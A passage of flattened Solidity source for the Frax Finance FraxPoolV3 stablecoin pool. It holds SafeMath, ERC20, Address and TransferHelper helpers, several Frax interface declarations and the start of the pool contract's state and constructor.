Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File contracts/FXS/IFxs.sol interface IFxs { function DEFAULT_ADMIN_ROLE() external view returns(bytes32); function FRAXStablecoinAdd() external view returns(address); function FXS_DAO_min() external view returns(uint256); function allowance(address owner, address spender) external view returns(uint256); function approve(address spender, uint256 amount) external returns(bool); function balanceOf(address account) external view returns(uint256); function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; function checkpoints(address, uint32) external view returns(uint32 fromBlock, uint96 votes); function decimals() external view returns(uint8); function decreaseAllowance(address spender, uint256 subtractedValue) external returns(bool); function genesis_supply() external view returns(uint256); function getCurrentVotes(address account) external view returns(uint96); function getPriorVotes(address account, uint256 blockNumber) external view returns(uint96); function getRoleAdmin(bytes32 role) external view returns(bytes32); function getRoleMember(bytes32 role, uint256 index) external view returns(address); function getRoleMemberCount(bytes32 role) external view returns(uint256); function grantRole(bytes32 role, address account) external; function hasRole(bytes32 role, address account) external view returns(bool); function increaseAllowance(address spender, uint256 addedValue) external returns(bool); function mint(address to, uint256 amount) external; function name() external view returns(string memory); function numCheckpoints(address) external view returns(uint32); function oracle_address() external view returns(address); function owner_address() external view returns(address); function pool_burn_from(address b_address, uint256 b_amount) external; function pool_mint(address m_address, uint256 m_amount) external; function renounceRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function setFRAXAddress(address frax_contract_address) external; function setFXSMinDAO(uint256 min_FXS) external; function setOracle(address new_oracle) external; function setOwner(address _owner_address) external; function setTimelock(address new_timelock) external; function symbol() external view returns(string memory); function timelock_address() external view returns(address); function toggleVotes() external; function totalSupply() external view returns(uint256); function trackingVotes() external view returns(bool); function transfer(address recipient, uint256 amount) external returns(bool); function transferFrom(address sender, address recipient, uint256 amount) external returns(bool); } // File contracts/Common/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/Utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/Frax/IFrax.sol interface IFrax { function COLLATERAL_RATIO_PAUSER() external view returns (bytes32); function DEFAULT_ADMIN_ADDRESS() external view returns (address); function DEFAULT_ADMIN_ROLE() external view returns (bytes32); function addPool(address pool_address ) external; function allowance(address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount ) external returns (bool); function balanceOf(address account ) external view returns (uint256); function burn(uint256 amount ) external; function burnFrom(address account, uint256 amount ) external; function collateral_ratio_paused() external view returns (bool); function controller_address() external view returns (address); function creator_address() external view returns (address); function decimals() external view returns (uint8); function decreaseAllowance(address spender, uint256 subtractedValue ) external returns (bool); function eth_usd_consumer_address() external view returns (address); function eth_usd_price() external view returns (uint256); function frax_eth_oracle_address() external view returns (address); function frax_info() external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256); function frax_pools(address ) external view returns (bool); function frax_pools_array(uint256 ) external view returns (address); function frax_price() external view returns (uint256); function frax_step() external view returns (uint256); function fxs_address() external view returns (address); function fxs_eth_oracle_address() external view returns (address); function fxs_price() external view returns (uint256); function genesis_supply() external view returns (uint256); function getRoleAdmin(bytes32 role ) external view returns (bytes32); function getRoleMember(bytes32 role, uint256 index ) external view returns (address); function getRoleMemberCount(bytes32 role ) external view returns (uint256); function globalCollateralValue() external view returns (uint256); function global_collateral_ratio() external view returns (uint256); function grantRole(bytes32 role, address account ) external; function hasRole(bytes32 role, address account ) external view returns (bool); function increaseAllowance(address spender, uint256 addedValue ) external returns (bool); function last_call_time() external view returns (uint256); function minting_fee() external view returns (uint256); function name() external view returns (string memory); function owner_address() external view returns (address); function pool_burn_from(address b_address, uint256 b_amount ) external; function pool_mint(address m_address, uint256 m_amount ) external; function price_band() external view returns (uint256); function price_target() external view returns (uint256); function redemption_fee() external view returns (uint256); function refreshCollateralRatio() external; function refresh_cooldown() external view returns (uint256); function removePool(address pool_address ) external; function renounceRole(bytes32 role, address account ) external; function revokeRole(bytes32 role, address account ) external; function setController(address _controller_address ) external; function setETHUSDOracle(address _eth_usd_consumer_address ) external; function setFRAXEthOracle(address _frax_oracle_addr, address _weth_address ) external; function setFXSAddress(address _fxs_address ) external; function setFXSEthOracle(address _fxs_oracle_addr, address _weth_address ) external; function setFraxStep(uint256 _new_step ) external; function setMintingFee(uint256 min_fee ) external; function setOwner(address _owner_address ) external; function setPriceBand(uint256 _price_band ) external; function setPriceTarget(uint256 _new_price_target ) external; function setRedemptionFee(uint256 red_fee ) external; function setRefreshCooldown(uint256 _new_cooldown ) external; function setTimelock(address new_timelock ) external; function symbol() external view returns (string memory); function timelock_address() external view returns (address); function toggleCollateralRatio() external; function totalSupply() external view returns (uint256); function transfer(address recipient, uint256 amount ) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount ) external returns (bool); function weth_address() external view returns (address); } // File contracts/Frax/IFraxAMOMinter.sol // MAY need to be updated interface IFraxAMOMinter { function FRAX() external view returns(address); function FXS() external view returns(address); function acceptOwnership() external; function addAMO(address amo_address, bool sync_too) external; function allAMOAddresses() external view returns(address[] memory); function allAMOsLength() external view returns(uint256); function amos(address) external view returns(bool); function amos_array(uint256) external view returns(address); function burnFraxFromAMO(uint256 frax_amount) external; function burnFxsFromAMO(uint256 fxs_amount) external; function col_idx() external view returns(uint256); function collatDollarBalance() external view returns(uint256); function collatDollarBalanceStored() external view returns(uint256); function collat_borrow_cap() external view returns(int256); function collat_borrowed_balances(address) external view returns(int256); function collat_borrowed_sum() external view returns(int256); function collateral_address() external view returns(address); function collateral_token() external view returns(address); function correction_offsets_amos(address, uint256) external view returns(int256); function custodian_address() external view returns(address); function dollarBalances() external view returns(uint256 frax_val_e18, uint256 collat_val_e18); // function execute(address _to, uint256 _value, bytes _data) external returns(bool, bytes); function fraxDollarBalanceStored() external view returns(uint256); function fraxTrackedAMO(address amo_address) external view returns(int256); function fraxTrackedGlobal() external view returns(int256); function frax_mint_balances(address) external view returns(int256); function frax_mint_cap() external view returns(int256); function frax_mint_sum() external view returns(int256); function fxs_mint_balances(address) external view returns(int256); function fxs_mint_cap() external view returns(int256); function fxs_mint_sum() external view returns(int256); function giveCollatToAMO(address destination_amo, uint256 collat_amount) external; function min_cr() external view returns(uint256); function mintFraxForAMO(address destination_amo, uint256 frax_amount) external; function mintFxsForAMO(address destination_amo, uint256 fxs_amount) external; function missing_decimals() external view returns(uint256); function nominateNewOwner(address _owner) external; function nominatedOwner() external view returns(address); function oldPoolCollectAndGive(address destination_amo) external; function oldPoolRedeem(uint256 frax_amount) external; function old_pool() external view returns(address); function owner() external view returns(address); function pool() external view returns(address); function receiveCollatFromAMO(uint256 usdc_amount) external; function recoverERC20(address tokenAddress, uint256 tokenAmount) external; function removeAMO(address amo_address, bool sync_too) external; function setAMOCorrectionOffsets(address amo_address, int256 frax_e18_correction, int256 collat_e18_correction) external; function setCollatBorrowCap(uint256 _collat_borrow_cap) external; function setCustodian(address _custodian_address) external; function setFraxMintCap(uint256 _frax_mint_cap) external; function setFraxPool(address _pool_address) external; function setFxsMintCap(uint256 _fxs_mint_cap) external; function setMinimumCollateralRatio(uint256 _min_cr) external; function setTimelock(address new_timelock) external; function syncDollarBalances() external; function timelock_address() external view returns(address); } // File contracts/Uniswap/TransferHelper.sol // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/Staking/Owned.sol // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor (address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // File contracts/Oracle/AggregatorV3Interface.sol interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File contracts/Frax/Pools/FraxPoolV3.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ============================ FraxPoolV3 ============================ // ==================================================================== // Allows multiple stablecoins (fixed amount at initialization) as collateral // LUSD, sUSD, USDP, Wrapped UST, and FEI initially // For this pool, the goal is to accept crypto-backed / overcollateralized stablecoins to limit // government / regulatory risk (e.g. USDC blacklisting until holders KYC) // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian // Dennis: github.com/denett // Hameed contract FraxPoolV3 is Owned { using SafeMath for uint256; // SafeMath automatically included in Solidity >= 8.0.0 /* ========== STATE VARIABLES ========== */ // Core address public timelock_address; address public custodian_address; // Custodian is an EOA (or msig) with pausing privileges only, in case of an emergency IFrax private FRAX = IFrax(0x853d955aCEf822Db058eb8505911ED77F175b99e); IFxs private FXS = IFxs(0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0); mapping(address => bool) public amo_minter_addresses; // minter address -> is it enabled AggregatorV3Interface public priceFeedFRAXUSD = AggregatorV3Interface(0xB9E1E3A9feFf48998E45Fa90847ed4D467E8BcfD); AggregatorV3Interface public priceFeedFXSUSD = AggregatorV3Interface(0x6Ebc52C8C1089be9eB3945C4350B68B8E4C2233f); uint256 private chainlink_frax_usd_decimals; uint256 private chainlink_fxs_usd_decimals; // Collateral address[] public collateral_addresses; string[] public collateral_symbols; uint256[] public missing_decimals; // Number of decimals needed to get to E18. collateral index -> missing_decimals uint256[] public pool_ceilings; // Total across all collaterals. Accounts for missing_decimals uint256[] public collateral_prices; // Stores price of the collateral, if price is paused mapping(address => uint256) public collateralAddrToIdx; // collateral addr -> collateral index mapping(address => bool) public enabled_collaterals; // collateral address -> is it enabled // Redeem related mapping (address => uint256) public redeemFXSBalances; mapping (address => mapping(uint256 => uint256)) public redeemCollateralBalances; // Address -> collateral index -> balance uint256[] public unclaimedPoolCollateral; // collateral index -> balance uint256 public unclaimedPoolFXS; mapping (address => uint256) public lastRedeemed; // Collateral independent uint256 public redemption_delay = 2; // Number of blocks to wait before being able to collectRedemption() uint256 public redeem_price_threshold = 990000; // $0.99 uint256 public mint_price_threshold = 1010000; // $1.01 // Buyback related mapping(uint256 => uint256) public bbkHourlyCum; // Epoch hour -> Collat out in that hour (E18) uint256 public bbkMaxColE18OutPerHour = 1000e18; // Recollat related mapping(uint256 => uint256) public rctHourlyCum; // Epoch hour -> FXS out in that hour uint256 public rctMaxFxsOutPerHour = 1000e18; // Fees and rates // getters are in collateral_information() uint256[] private minting_fee; uint256[] private redemption_fee; uint256[] private buyback_fee; uint256[] private recollat_fee; uint256 public bonus_rate; // Bonus rate on FXS minted during recollateralize(); 6 decimals of precision, set to 0.75% on genesis // Constants for various precisions uint256 private constant PRICE_PRECISION = 1e6; // Pause variables // getters are in collateral_information() bool[] private mintPaused; // Collateral-specific bool[] private redeemPaused; // Collateral-specific bool[] private recollateralizePaused; // Collateral-specific bool[] private buyBackPaused; // Collateral-specific /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == timelock_address || msg.sender == owner, "Not owner or timelock"); _; } modifier onlyByOwnGovCust() { require(msg.sender == timelock_address || msg.sender == owner || msg.sender == custodian_address, "Not owner, tlck, or custd"); _; } modifier onlyAMOMinters() { require(amo_minter_addresses[msg.sender], "Not an AMO Minter"); _; } modifier collateralEnabled(uint256 col_idx) { require(enabled_collaterals[collateral_addresses[col_idx]], "Collateral disabled"); _; } /* ========== CONSTRUCTOR ========== */ constructor ( address _pool_manager_address, address _custodian_address, address _timelock_address, address[] memory _collateral_addresses, uint256[] memory _pool_ceilings, uint256[] memory _initial_fees ) Owned(_pool_manager_address){ // Core timelock_address = _timelock_address; custodian_address = _custodian_address; // Fill collateral info collateral_addresses = _collateral_addresses; for (uint256 i = 0; i < _collateral_addresses.length; i++){ // For fast collateral address -> collateral idx lookups later collateralAddrToIdx[_collateral_addresses[i]] = i; // Set all of the collaterals initially to disabled enabled_collaterals[_collateral_addresses[i]] = false; // Add in the missing decimals missing_decimals.push(uint256(18).sub(ERC20(_collateral_addresses[i]).decimals())); // Add in the collateral symbols collateral_symbols.push(ERC20(_collateral_addresses[i]).symbol()); // Initialize unclaimed pool collateral 